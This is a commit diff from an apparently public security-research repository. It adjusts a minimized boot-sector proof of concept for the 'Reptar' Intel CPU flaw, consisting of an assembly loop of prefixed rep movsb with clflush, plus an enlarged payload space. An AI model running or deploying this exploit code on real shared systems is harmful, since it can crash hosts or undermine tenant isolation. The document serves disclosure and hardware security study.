give more space for payload

google · Dec 1, 2023 · 2b3b816 · 2b3b816
1 parent 6a6cae1
commit 2b3b816
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Showing 2 changed files with 25 additions and 25 deletions.
diff --git a/pocs/cpus/reptar/minimized/reptar.boot.bin.asm b/pocs/cpus/reptar/minimized/reptar.boot.bin.asm
@@ -1,28 +1,28 @@
 %macro LONG_MODE_BOOT_PAYLOAD 0
-        xor rbx, rbx
-        .attack:
-        xor ecx, ecx
-        lea rsi, [rsp+1]
-        mov rdi, rsi
-        .many_reptars:
-            align 64
-            ; 16 bytes
-            times 4 nop ; 4 bytes
-            dec rsi     ; 3 bytes
-            dec rdi     ; 3 bytes
-            inc rbx     ; 3 bytes
-            inc rcx     ; 3 bytes
-            ; 16 bytes
-            clflush [rdi]    ; 3 bytes
-            clflush [rsi+64] ; 4 bytes
-            ;mov [rsp], rbx   ; 4 bytes
-            rep              ; 1 byte
-            db 0x44; rex.r   ; 1 byte
-            movsb            ; 1 byte
-            rep              ; 1 byte
-            nop              ; 1 byte
-        mov dil, bl ; counter
-        jmp .attack
+    xor rbx, rbx
+    .attack:
+    xor ecx, ecx
+    lea rsi, [rsp+1]
+    mov rdi, rsi
+    .many_reptars:
+        align 64
+        ; 16 bytes
+        times 4 nop ; 4 bytes
+        dec rsi     ; 3 bytes
+        dec rdi     ; 3 bytes
+        inc rbx     ; 3 bytes
+        inc rcx     ; 3 bytes
+        ; 16 bytes
+        clflush [rdi]    ; 3 bytes
+        clflush [rsi+64] ; 4 bytes
+        ;mov [rsp], rbx   ; 4 bytes
+        rep              ; 1 byte
+        db 0x44; rex.r   ; 1 byte
+        movsb            ; 1 byte
+        rep              ; 1 byte
+        nop              ; 1 byte
+    mov dil, bl ; counter
+    jmp .attack
 %endmacro
 
 %include "third_party/long_mode_boot.asm"
diff --git a/pocs/cpus/reptar/minimized/third_party/long_mode_boot.asm b/pocs/cpus/reptar/minimized/third_party/long_mode_boot.asm
@@ -17,7 +17,7 @@
     %endmacro
 %endif
 
-%define FREE_SPACE 0x9000
+%define FREE_SPACE 0xF000
  
 ORG 0x7C00
 BITS 16